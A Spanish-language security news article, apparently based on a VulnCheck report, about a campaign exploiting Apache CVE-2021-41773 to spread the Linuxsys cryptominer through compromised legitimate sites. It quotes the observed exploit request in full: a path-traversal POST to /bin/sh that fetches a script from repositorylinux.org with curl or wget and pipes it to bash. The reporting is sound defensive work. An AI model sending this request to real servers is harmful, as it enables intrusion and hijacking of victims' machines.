Expertos en seguridad informática han identificado una nueva operación maliciosa que se aprovecha de una falla ya documentada en el servidor Apache HTTP para instalar un minero de criptomonedas conocido como Linuxsys.

Se trata de la vulnerabilidad CVE-2021-41773 (con una puntuación CVSS de 7.5), un fallo grave de recorrido de rutas en la versión 2.4.49 de Apache HTTP Server que puede derivar en ejecución remota de código.

"El atacante utiliza sitios web legítimos previamente comprometidos como medio para propagar el software malicioso, lo que permite una distribución silenciosa y complica su detección," indicó VulnCheck en un reporte.

La cadena de infección, observada a principios del mes y rastreada hasta la IP 103.193.177[.]152 ubicada en Indonesia, tiene como finalidad obtener una carga secundaria desde el dominio "repositorylinux[.]org" mediante herramientas como curl o wget.

Dicha carga es un script en bash cuya función es descargar el minero Linuxsys desde cinco páginas web legítimas, lo que apunta a que los ciberatacantes lograron comprometer infraestructura externa para facilitar la distribución del malware.

"Esta técnica es astuta, ya que las víctimas se conectan a servidores legítimos con certificados SSL válidos, reduciendo así la posibilidad de ser detectados," explicó VulnCheck. *"También introduce una separación técnica entre el sitio de descarga ('repositorylinux[.]org') y el malware real, ya que este último no reside allí directamente."*

Además, los mismos sitios albergan un script adicional llamado "cron.sh" que se encarga de ejecutar el minero automáticamente cada vez que el sistema reinicia. La firma de seguridad también descubrió archivos ejecutables de Windows alojados en los mismos dominios, lo cual sugiere que los atacantes podrían estar ampliando su alcance hacia sistemas de escritorio de Microsoft.

Cabe mencionar que esta campaña ya había recurrido previamente a una vulnerabilidad

crítica en GeoServer GeoTools de OSGeo (CVE-2024-36401, con puntuación CVSS de 9.8), de acuerdo con un informe publicado por Fortinet FortiGuard Labs en septiembre de 2024.

Llama la atención que el script asociado a la explotación de dicha falla se descargaba desde "repositorylinux[.]com" y presentaba anotaciones en sundanés, un idioma nativo de Indonesia. Este mismo script ha sido visto en circulación desde diciembre de 2021.

```
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/124.0.0.0 Safari/537.36
Connection: close
Content-Length: 164
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

echo Content-Type: text/plain; echo; (curl -s -k https://
repositorylinux.org/linux.sh||wget --no-check-certificate -q -O- https://
repositorylinux.org/linux.sh)|bash
```

Entre otras vulnerabilidades utilizadas por estos atacantes en años recientes destacan:

- CVE-2023-22527: inyección de plantillas en Atlassian Confluence
- CVE-2023-34960: inyección de comandos en Chamilo LMS
- CVE-2023-38646: inyección de comandos en Metabase
- CVE-2024-0012 y CVE-2024-9474: errores que permiten eludir autenticación y escalar privilegios en dispositivos Palo Alto

"Todo apunta a una campaña sostenida en el tiempo, con tácticas recurrentes como la explotación de vulnerabilidades conocidas, el uso de infraestructura ajena comprometida y la minería de criptomonedas en equipos infectados," aseguró VulnCheck.

"Parte del éxito de esta operación radica en la selección meticulosa de sus objetivos. Los operadores evitan trampas de baja interacción y solo actúan cuando existe suficiente

actividad para que su comportamiento pase desapercibido. Al emplear hosts legítimos como medio de distribución, logran eludir la atención de los analistas," concluyó la empresa.